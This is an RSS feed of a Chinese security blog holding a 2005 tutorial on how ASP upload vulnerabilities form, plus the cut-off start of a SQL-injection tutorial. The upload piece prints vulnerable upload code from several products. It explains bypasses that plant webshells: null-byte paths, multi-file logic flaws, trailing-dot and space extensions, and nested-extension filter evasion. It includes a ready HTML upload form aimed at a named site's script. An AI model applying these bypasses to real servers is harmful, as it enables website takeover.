<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hugege's themes demo &#187; 黑客病毒</title>
	<atom:link href="http://hi.hugege.com/category/%e9%bb%91%e5%ae%a2%e7%97%85%e6%af%92/feed" rel="self" type="application/rss+xml" />
	<link>http://hi.hugege.com</link>
	<description>just test.................</description>
	<lastBuildDate>Thu, 12 Mar 2009 11:47:49 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>浅析上传漏洞的形成</title>
		<link>http://hi.hugege.com/2007/05/06/8.html</link>
		<comments>http://hi.hugege.com/2007/05/06/8.html#comments</comments>
		<pubDate>Tue, 30 Nov 1999 06:00:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[黑客病毒]]></category>
		<category><![CDATA[10]]></category>
		<category><![CDATA[100]]></category>
		<category><![CDATA[2005]]></category>
		<category><![CDATA[80]]></category>
		<category><![CDATA[BBS]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[ID]]></category>
		<category><![CDATA[PR]]></category>
		<category><![CDATA[PS]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[今天]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[内容]]></category>
		<category><![CDATA[刺猬]]></category>
		<category><![CDATA[原则]]></category>
		<category><![CDATA[变化]]></category>
		<category><![CDATA[可能]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[大家]]></category>
		<category><![CDATA[如果]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[广告]]></category>
		<category><![CDATA[形成]]></category>
		<category><![CDATA[想法]]></category>
		<category><![CDATA[意思]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[数字]]></category>
		<category><![CDATA[文件]]></category>
		<category><![CDATA[文章]]></category>
		<category><![CDATA[方式]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[日]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[牛人]]></category>
		<category><![CDATA[第一]]></category>
		<category><![CDATA[管理]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[音乐]]></category>

		<guid isPermaLink="false">http://hi.hugege.com/?p=8</guid>
		<description><![CDATA[


 文／寂寞的刺猬 &#160;&#160;&#160;&#160;&#160; 在简单介绍过注入漏洞的查与补后，下面偶再介绍一种漏洞－－上传漏洞，这是一种比注入更有杀伤力的漏洞。通过注入所得到的往往是数据库中的一些敏感信息，如管理员名称、密码等等（注：此处注入指的是MDB数据库），但上传漏洞就不同了，它可以把ASP、JSP、CGI、PHP等格式的木马上传至网站目录内，所得到的权限最低也是WEBS... ]]></description>
			<content:encoded><![CDATA[<p style="float: right;margin: 4px;"><script type="text/javascript"><!--
google_ad_client = "pub-9148293076732970";
/* 336x280, 创建于 08-7-4 */
google_ad_slot = "8549472647";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p> <p><font face="黑体">文／<a target="_blank" href="http://hi.baidu.com/jmdcw/blog/item/662b93458d240b27cefca31b.html">寂寞的刺猬</a> <br /></font><font color="#000000" size="3"><br /><font face="黑体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在简单介绍过注入漏洞的查与补后，下面偶再介绍一种漏洞－－上传漏洞，这是一种比注入更有杀伤力的漏洞。通过注入所得到的往往是数据库中的一些敏感信息，如管理员名称、密码等等（注：此处注入指的是MDB数据库），但上传漏洞就不同了，它可以把ASP、JSP、CGI、PHP等格式的木马上传至网站目录内，所得到的权限最低也是WEBSHELL，如果碰到的是安全意识不强的管理员，（刺猬2005作品）呵呵！那就可以客串一把管理员了！心动了吧！OK！那就LET&#8217;S GO！</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对于上传漏洞的查找，仍是从源文件入手，目标有两个，一个是FilePath（文件路径），另一个则是FileName（文件名称）。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一、FilePath<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 说到FilePath，有些朋友可能感到陌生，但要提到动网6.0的上传漏洞，大家一定不陌生吧！其上传漏洞就是由于FILEPath过滤不严引起的。虽然动网已不存在此漏洞了，但采用此上传源码的程序还是大有人在的，比如我手头这款“万豪下载程序”，其ADS（广告）版块中的Upfile.asp（上传），就有Filepath过滤不严的漏洞，</font></font><font face="黑体" color="#000000" size="3">（刺猬2005作品）</font><font color="#000000" size="3"><font face="黑体">来分析一下其部分源码：<br /></font><font face="黑体"><font color="#800000"><strong>&lt;%<br />dim upload,file,formName,formPath,iCount,filename,fileExt &#8216;//定义上传变量<br />set upload=new upload_5xSoft &#8216;//建立上传对象JM的测试代码<br />formPath=upload.form(&#8220;filepath&#8221;) &#8216;//第一步、获取文件路径，此处是关键。<br />if right(formPath,1)&lt;&gt;&#8221;/&#8221; then formPath=formPath&amp;&#8221;/&#8221;&nbsp;&nbsp;&nbsp;<br />for each formName in upload.file &#8216;//用For读取上传文件<br />set file=upload.file(formName) &#8216;//生成一个文件对象jmdcw<br />…………………… &#8216;//省略部分代码<br />fileExt=lcase(right(file.filename,4)) &#8216;//从文件名中截取后4位，并转换为小写字符。<br />if fileEXT&lt;&gt;&#8221;.gif&#8221; and fileEXT&lt;&gt;&#8221;.jpg&#8221; and fileEXT&lt;&gt;&#8221;.zip&#8221; and fileEXT&lt;&gt;&#8221;.rar&#8221; and fileEXT&lt;&gt;&#8221;.swf&#8221;then &#8216;//文件扩展名判断<br />response.write &#8220;&lt;font size=2&gt;文件格式不正确　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/font&gt;&#8221;<br />response.end<br />end if <br />randomize<br />ranNum=int(90000*rnd)+10000<br />filename=formPath&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;fileExt &#8216;//第二步、filename由提交的文件路径＋年月日的随机文件名＋转换后的扩展名组成<br />if file.FileSize&gt;0 then&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />file.SaveAs Server.mappath(FileName)&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//保存文件jmdcw<br />end if<br />set file=nothing<br />next<br />%&gt;</strong></font><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在这段源码中，要关键的就这两句： <br /></font><font face="黑体"><font color="#800000"><strong>1、formPath=upload.form(&#8220;filepath&#8221;) <br />2、filename=formPath&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;fileExt <br /></strong></font><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 广告插播。变量与常量：所谓变量就是指在程序的运行过程中随时可以发生变化的值；而常量则恰恰相反，指的是在程序的运行过程中始终保持不变的值</font></font><font face="黑体" color="#000000" size="3">（刺猬2005作品）</font><font face="黑体"><font color="#000000" size="3">。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 下面来看一下漏洞是如何形成的。在第一句代码中，从变量filepath中获取文件的保存路径，然后在第二句中，用路径变量formPath加随机生成的数字及经过判断的扩展名合成为一个新的变量，这个变量Filename就是上传文件保存的路径及名称。这样说有些笼统，下面举例说明。比如选择“111.jpg”文件上传，在上传过程中，随文件一起上传的还有一个FilePath变量，假设其值为“image”，当这些值传到upfile.asp中，filename就变成了：“image/200512190321944973.jpg”，上传成功后，该111.jpg就被保存到image文件夹内，文件名字也被改成了：“200512190321944973.jpg”。这段流程，看起来无懈可击，但还是被牛人研究出了突破方法，什么方法呢？很简单，突破点就在变量身上，如果将其FilePath值改为“image/aa.asp□”，其后的“□”表示二进制的00（空的意思），这样，该变量提交入upfile.asp后，Filename值就变成了“image/aa.asp□/200512190321944974.jpg”，服务器在读取这段变量时，因为“□”是二进制的00，认为该变量语句已经结束了，于是“□”后面的字符也就被忽略掉了，这样一来，Filename就成了：“image/aa.asp”，程序再用file.SaveAs进行保存的话，这个文件就保存成了aa.asp文件，瞧！漏洞出现了。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对于这个漏洞的利用，可以使用桂林老兵的上传工具，也可以采取用WinSock抓包，然后用记事本保存提交数据并增加、修改相关内容，再用WinHex修改空格为二进制，最后用NC提交的方法。以上两种的使用方法，请参阅相关的文章</font><font color="#000000" size="3">（刺猬2005作品）</font></font><font color="#000000" size="3"><font face="黑体">。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 二、FileName</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 介绍过FilePath（上传路径）过滤不严的漏洞，再来看一看FileName（上传文件名）过滤不严造成的漏洞，上传文件名过滤不严的形式是多种多样的，偶这里介绍两种：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1、动易文章<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2005.10期中的《再现昔日漏洞——沁竹音乐程序的疏忽》，所涉及的上传漏洞就是动易的上传漏洞，下面以此为例，来看一下其上传文件Upfile_Article.asp中的部分源码：<br /></font><font face="黑体"><font color="#800000"><strong>&lt;%<br />Const UpFileType=&#8221;rar|gif|jpg|bmp|swf|mid|mp3&#8243; &#8216;//允许的上传文件类型jmdcw<br />Const SaveUpFilesPath=&#8221;../../UploadFiles&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//存放上传文件的目录，注：以上两个常量均在config.asp文件内定义&#8217;刺猬测试代码<br />dim upload,oFile,formName,SavePath,filename,fileExt //变量定义<br />…………………… <br />FoundErr=false&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//此为是否允许上传的变量，初始化为假，表示可以上传。<br />EnableUpload=false&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//此为上传文件扩展名是否合法的变量，初始化为假，表示的是不合法。<br />SavePath = SaveUpFilesPath&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//存放上传文件的目录<br />……………………<br />sub upload_0()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//使用化境无组件上传<br />set upload=new upfile_class &#8216;//建立上传对象<br />……………………<br />for each formName in upload.file &#8216;//用For循环读取上传的文件。 jmdcw<br />set ofile=upload.file(formName) &#8216;//生成一个文件对象<br />……………………<br />fileExt=lcase(ofile.FileExt) &#8216;//将扩展名转换为小写字符<br />arrUpFileType=split(UpFileType,&#8221;|&#8221;) &#8216;//读取后台定义的允许的上传扩展名<br />for i=0 to ubound(arrUpFileType)&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//第一关，用FOR循环读取arrUpFileType数组。<br />if fileEXT=trim(arrUpFileType(i)) then&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//如果fileEXT是允许上传的扩展名<br />EnableUpload=true&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//EnableUpload为真，表示该文件合法。<br />exit for <br />end if<br />next<<br />
br>if fileEXT=&#8221;asp&#8221; or fileEXT=&#8221;asa&#8221; or fileEXT=&#8221;aspx&#8221; then &#8216;// 第二关，验证fileEXT是否为asp、asa、aspx扩展名。<br />EnableUpload=false&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//如果属于这三项之一，那么EnableUpload就定义为假，上传文件扩展名不合法。jm<br />end if<br />if EnableUpload=false then &#8216;// 第三关，验证关。如果传递到此的EnableUpload变量为假，则说明上传文件扩展名不合法。<br />msg=&#8221;这种文件类型不允许上传！\n\n只允许上传这几种文件类型：&#8221; &amp; UpFileType<br />FoundErr=true &#8216;//注意：因为文件名不合法，就更改了FoundErr值，由初始的false改为true。<br />end if<br />strJS=&#8221;&lt;SCRIPT language=javascript&gt;&#8221; &amp; vbcrlf<br />if FoundErr&lt;&gt;true then&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//第四关，上传关。如果FoundErr不等于true才可以上传。<br />randomize<br />ranNum=int(900*rnd)+100<br />filename=SavePath&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;&#8221;.&#8221;&amp;fileExt&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//定义filename，其值为固定的路径名+年月日及随机值生成的名称+传递过来的fileExt扩展名。<br />ofile.SaveToFile Server.mappath(FileName)&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//保存文件 cw&#8217;s <br />msg=&#8221;上传文件成功！&#8221;<br />…………………… <br />next<br />set upload=nothing<br />end sub&nbsp;&nbsp;&nbsp;&nbsp;<br />%&gt;</strong></font><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在这段源码中，用到了两个FOR循环、两个逻辑变量，第一个FOR循环“for each formName in upload.file”用于取得所有上传的文件名；第二个FOR循环“for i=0 to ubound(arrUpFileType) ”用于检测文件扩展名。而两个逻辑变量是EnableUpload和FoundErr，EnableUpload用于表示文件扩展名的合法性，True表示合法；而FoundErr则用于表示文件是否可以上传，False表示可以上传，很奇怪？用的是False！如果我们上传的是一个文件，那此段代码是无懈可击的，但要上传两个呢？因为化境无组件上传可以上传多个文件，OK！来看一下上传多个文件的流程：<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 首先，构造一个有两个上传框的本地HTM文件，HTM代码如下：<br /></font><font face="黑体"><font color="#800000"><strong>&lt;form action=&#8221;http://www.jmdcw.com/admin/Article/Upfile_AdPic.asp&#8221; method=&#8221;post&#8221; name=&#8221;form1&#8243;&gt;<br />&lt;input name=&#8221;FileName1&#8243; type=&#8221;FILE&#8221; class=&#8221;tx1&#8243; size=&#8221;40&#8243;&gt;<br />&lt;input name=&#8221;FileName&#8221; type=&#8221;FILE&#8221; class=&#8221;tx1&#8243; size=&#8221;40&#8243;&gt;<br />&lt;input type=&#8221;submit&#8221; name=&#8221;Submit&#8221; value=&#8221;上传&#8221; &gt;<br />&lt;/form&gt;</strong></font><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 运行这个HTM，在第一个框内选择一个jpg图片，文件名为“111.jpg”，在第二个框内选择一个Cer文件，文件名为“222.cer”，点“上传”把这两个文件提交给程序。接下来到Upfile_AdPic.asp中观察这两个文件的上传流程（注意其中逻辑变量的变化）。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1、在进入第一个FOR（读取文件名）之前，程序先将变量FoundErr定义为false、EnableUpload定义为false，然后读取文件名，先验证第一个文件111.jpg，在验证的第一关中，jpg属于允许上传的类型，变量EnableUpload=true。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2、接着到第二关，检验是否属于三种禁传类型，因为不属于，变量EnableUpload仍为true。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3、再到第三关卡，如果EnableUpload=false，那么FoundErr=true，而前面传递来的EnableUpload=true，那FoundErr仍为进入第一个FOR循环之前的false。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4、最后进入第四关，此关的验证是：如果FoundErr&lt;&gt;true就可以通过，看一下从第三关传递过来的FoundErr的值，是false，可以上传。这里请注意，在111.jpg上传后，EnableUpload的值保持为true，FoundErr的值是false。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5、接着程序读取第二个文件222.cer，进入第一关验证是否为允许上传类型，如果cer属于此范围就给EnableUpload定义为true，而cer不属于，所以就保持原值，EnableUpload的原值是什么？看一下111.jpg上传后的变量值：“EnableUpload的值保持为true”，那么此时cer文件的EnableUpload值就是true了。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6、再到第二关，cer同样不属于此限制范围，又跳过IF语句，再看EnableUpload的值，仍保持为true。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7、又到第三关了，因为EnableUpload=true，又跳过了此关验证。直接进入第四关，这时回头看一下FoundErr的值，自cer进行上传验证开始，一直未出现FoundErr，FoundErr的值是什么？呵呵，它还是111.jpg上传后的值false，而第四关的验证就是只要FoundErr不是true就可以上传，所以，这个cer文件也就通过了层层关卡，进入了服务器。<br />&nbsp;&nbsp;&nbsp;&nbsp; 除了cer格式的，还可以上传asp□（□在这里表示空格，以下同）、asp.格式的文件，方法很简单，就是把上传框中的asp名称加入空格或小数点，因为是asp□、asp.格式，其绕过方式和cer是一样的，而上传到服务器中的asp□或asp.的扩展名，因为Windows文件命名原则，会去除后面的空格和小数点，保存的就是asp格式了。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2、动感商务2005<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 说过了动易的上传漏洞，再来介绍动感商务2005的上传漏洞，今天真是太巧了，动网、动易、动感，全是带动的，哈哈！动易是由于上传多个文件引起的漏洞，而动感则是因为文件名过滤不严出现上传漏洞。</font></font><font face="黑体" color="#000000" size="3">（刺猬2005作品）</font><font color="#000000" size="3"><font face="黑体">下面是动感2005上传upfile.asp中的部分源码：<br /></font><font face="黑体"><font color="#800000"><strong>&lt;%<br />Private Sub SaveFile_0() &#8216;//无组件上传<br />……………………<br />Set File = UploadObj.File(FormName) &#8216;//取得上传文件名 cw&#8217;s files<br />FileExt = FixName(File.FileExt) &#8216;//第一步、用FixName函数过滤上传文件的扩展名<br />If CheckFileExt(FileExt) = False then &#8216;//第二步、用CheckFileExt检查过滤后的文件扩展名<br />ErrCodes = 5<br />EXIT SUB &#8216;//退出上传<br />End If<br />FileName = FormatName(FileExt) &#8216;//符合条件的话，就用FormatName函数按日期生成文件名<br />……………………<br />If File.FileSize&gt;0 Then<br />File.SaveToFile Server.Mappath(FilePath &amp; FileName) &#8216;//保存的文件路径及名称是Filepath+FileName<br />……………………<br />End Sub<br />%&gt;</strong></font><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 下面再来看一下上传所涉及到的一些参数。<br />&nbsp;&nbsp;</font><font face="黑体"><font color="#800000"><strong> A、FixName()函数：<br />Private Function FixName(Byval UpFileExt) &#8216;//第一步的过滤函数，过滤特殊扩展名。<br />If IsEmpty(UpFileExt) Then Exit Function &#8216;//如扩展名为空就退出交互<br />FixName = Lcase(UpFileExt)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//将扩展名转换为小写字符。<br />FixName = Replace(FixName,Chr(0),&#8221;")&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//将二进制的00空字符过滤为空<br />FixName = Replace(FixName,&#8221;.&#8221;,&#8221;")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//将单引号过滤为空，下同。 jmdcw<br />FixName = Replace(FixName,&#8221;&#8216;&#8221;,&#8221;")<br />FixName = Replace(FixName,&#8221;asp&#8221;,&#8221;")<br />FixName = Replace(FixName,&#8221;asa&#8221;,&#8221;")<br />FixName = Replace(FixName,&#8221;aspx&#8221;,&#8221;")<br />FixName = Replace(FixName,&#8221;cer&#8221;,&#8221;")<br />FixName = Replace(FixName,&#8221;cdx&#8221;,&#8221;")<br />FixName = Replace(FixName,&#8221;htr&#8221;,&#8221;")<br />FixName = Replace(FixName,&#8221;shtml&#8221;,&#8221;")<br />End Function</strong></font><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 从中，我们可以看出，应用程序asp.dll映射的类型全部过滤了，除此之外，还有小数点、单引号也被过滤，甚至连Chr(0)都过滤了，Chr(0)是什么？它就是16进制的0&#215;00，表示为二进制是00000000，也就是前面在FilePath上传漏洞中大显神通的空字符。<br<br />
>&nbsp;&nbsp;&nbsp;</font><font face="黑体"><font color="#800000"><strong> B、CheckFileExt()函数:<br />Private Function CheckFileExt(FileExt) &#8216;//第二步的判断函数，判断文件类型是否合乎要求<br />Dim Forumupload,i<br />CheckFileExt=False&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//定义CheckFileExt的初始值为假，<br />If FileExt=&#8221;" or IsEmpty(FileExt) Then &#8216;//第一次、为空则退出<br />CheckFileExt = False<br />Exit Function<br />End If<br />If FileExt=&#8221;asp&#8221; or FileExt=&#8221;asa&#8221; or FileExt=&#8221;aspx&#8221; or FileExt=&#8221;shtml&#8221; Then&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//第二次、如果属于这四种类型也退出交互<br />CheckFileExt = False<br />Exit Function<br />End If<br />Forumupload = Split(InceptFile,&#8221;,&#8221;)&nbsp;&nbsp;&nbsp;&nbsp; &#8216;//第三次、从InceptFile中提取后台的上传扩展名<br />For i = 0 To ubound(Forumupload) &#8216;//用For循环检验<br />If FileExt = Trim(Forumupload(i)) Then &#8216;//如果和后台中的任一上传扩展名相符，则CheckFileExt = True。<br />CheckFileExt = True<br />Exit Function<br />Else<br />CheckFileExt = False<br />End If<br />Next<br />End Function</strong></font><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个函数对经过FixName()函数过滤后的扩展名再次判断，其中有三次检查，第一次是判断传递而来的扩展名是否为空，为空则退出上传，第二次是判断扩展名是否属于asp、asa等四种限传类型，属于也退出上传，第三次就是用该扩展名同后台内自定义的上传扩展名进行对比，符合就允许上传。<br />&nbsp;&nbsp;&nbsp;</font><font face="黑体"><font color="#800000"><strong> C、FilePath值：<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其所用到的filepath在upload.asp中，其值如下：<br />if info_name=&#8221;bbs&#8221; then<br />FilePath = &#8220;/bbs/upload/&#8221;<br />else<br />FilePath = &#8220;/uploadpic/&#8221;<br />end if</strong></font><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FilePath是一个常量，从这条路找漏洞是行不通的了。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OK！下面上传一个文件来看其验证流程，比如上传的文件名为“111.cer”，在用“FileExt = FixName(File.FileExt)”过滤扩展名时，因为cer属于fixName()函数的过滤范围，所以扩展名cer就成了空，当把这个空的扩展名传递给CheckFileExt()，在其进行到“If FileExt=&#8221;" or IsEmpty(FileExt)”语句时，就会因为FileExt为空而退出交互，返回格式不正确，拒绝上传。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如何突破呢？其突破点就在FixName()函数中，上面我们也看到，在上传时cer会被过滤为空，但如果我们把上传文件扩展名改为ccerer，同时，在后台的自定义上传类型中增加“ccerer”、“cer”，这样，扩展名为ccerer的文件在经过第一步FixName()的过滤后，ccerer就变成了cer（中间的cer字符被过滤为空），传递此值到CheckFileExt()函数中，通过其第一次不空的关卡，再通过第二次限制类型的关卡，最后到对比后台上传类型关卡，因为在前面我们已添加了“ccerer”、“cer”两种类型，那么也就通过CheckFileExt()第三次的判断，CheckFileExt = True，也就把这个扩展名ccerer的文件上传到服务器中了，并且上传后的扩展名是cer。<br />&nbsp;&nbsp;&nbsp;&nbsp; 有的朋友可能会问，如果上传扩展名为aaspsp□或aaspsp.格式的文件，在经过FixName()函数的过滤，不就变成了asp□或asp.了，而这两种格式也不在限制的范围，只要在后台中加上这几种类型，不就可以把上传的文件保存为asp格式了？其实当初我也是这个想法，但经过仔细的研究分析，发现此路不通，为什么？先说小数点，在FixName()中，有这么一句，FixName = Replace(FixName,&#8221;.&#8221;,&#8221;")，将小数点过滤为空，瞧！小数点的路断了。再来看空格，虽然FixName()中没有过滤空格，但在CheckFileExt()读取后台上传类型时有这么一句：“If FileExt = Trim(Forumupload(i)) Then ”，其中有个Trim()，Trim的作用是删除字符串开始和尾部的空格。虽然在后台能写入了asp□类型，但在读取时，却会被Trim()过滤成asp，而aaspsp□通过层层关卡到了此处，已变成了asp□，asp□&lt;&gt;asp，证件不符！Sorry，拒绝进入！</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 总而言之，上传漏洞是比较吸引眼球的。偶用上面三个例子对上传漏洞管中窥豹了一番，希望对各位朋友有所帮助。呵呵！相信自已，说不定下一个发现新的上传漏洞的牛人就是你！</font></font><font face="黑体" color="#000000" size="3">（刺猬2005作品）</font></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://hi.hugege.com/2007/05/06/8.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>浅析注入漏洞的查与补</title>
		<link>http://hi.hugege.com/2007/05/06/7.html</link>
		<comments>http://hi.hugege.com/2007/05/06/7.html#comments</comments>
		<pubDate>Tue, 30 Nov 1999 06:00:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[黑客病毒]]></category>
		<category><![CDATA[2005]]></category>
		<category><![CDATA[30]]></category>
		<category><![CDATA[50]]></category>
		<category><![CDATA[80]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[ID]]></category>
		<category><![CDATA[个人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[内幕]]></category>
		<category><![CDATA[刺猬]]></category>
		<category><![CDATA[可能]]></category>
		<category><![CDATA[大家]]></category>
		<category><![CDATA[如果]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[方式]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[更新]]></category>
		<category><![CDATA[查询]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[用户]]></category>
		<category><![CDATA[电影]]></category>
		<category><![CDATA[百度]]></category>
		<category><![CDATA[知识]]></category>
		<category><![CDATA[第一]]></category>
		<category><![CDATA[管理]]></category>
		<category><![CDATA[结果]]></category>
		<category><![CDATA[网上]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[老师]]></category>
		<category><![CDATA[蚂蚁]]></category>
		<category><![CDATA[解释]]></category>
		<category><![CDATA[黑客]]></category>

		<guid isPermaLink="false">http://hi.hugege.com/?p=7</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; 文／寂寞的刺猬&#160;&#160;&#160;&#160;&#160;&#160; 提起阿D、NBSI、HDSI这些注入工具，相信大家都或多或少的接触过，这些工具可以帮我们快速的拿下一个有注入漏洞的站点。但如果不懂注入的原理，即便使用这些工具进入无数个网站，但最终还是一个工具黑客。所以，我们菜鸟要进化，就不... ]]></description>
			<content:encoded><![CDATA[<p><font face="黑体" color="#008080" size="3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 文／<a target="_blank" href="http://hi.baidu.com/jmdcw/blog/item/b815c2cdcfea17500eb34530.html">寂寞的刺猬</a><br /></font><font face="黑体" color="#008080" size="3"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 提起阿D、NBSI、HDSI这些注入工具，相信大家都或多或少的接触过，这些工具可以帮我们快速的拿下一个有注入漏洞的站点。但如果不懂注入的原理，即便使用这些工具进入无数个网站，但最终还是一个工具黑客。所以，我们菜鸟要进化，就不能停留在工具方面，要深入到程序内部，从源码入手，掌握注入的第一手资料。想了解注入漏洞的内幕吗？那就跟我来吧！</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一、注入点的查找</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 当我们想要测试某个站点时，一般会架上注入工具对其狂轰乱炸，这样做虽然有时能找到注入点，但还是有些盲目，我个人的看法是：如果有源码的话，就从源码入手，在源码中查找注入点。对于源码，有些朋友可能觉得很难，其实源码并不神秘，它也是有一定的语法规则的，看一套优秀的源码就像是在欣赏一部精美的电影，只要我们坚持每天看一些优秀源码，再加上百度这个老师的指点，用不了多久，源码的神秘面纱就会被你揭去。闲话少说，下面我们就开始查找注入点，目标有两个：一是Request，二是SQL语句</font><font face="黑体" color="#008080" size="3">（<font face="宋体">刺猬的2005作品</font>）</font><font face="黑体" color="#008080" size="3">。</p>
<p>说到Request，这个是ASP程序中的一个内建对象，怎么？不懂？那就跟我先来恶补一下吧！它是用来获取客户端信息的，有五种方法，而会出现注入点的一般有以下三种：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1、Request.QueryString：取得客户端提交的信息。当Form以Get方法提交信息，或是直接在URL中提交变量值时，在服务器端接收数据时采用的就是这种方法。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2、Request.Form：同样也是取得客户端提交的信息，但它接收的是Form以Post方法提交的信息。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3、Request.Cookies：取得客户端浏览器的Cookies信息。Cookies就是小甜饼，指的是一些私人信息，如用户名、密码之类的信息。</p>
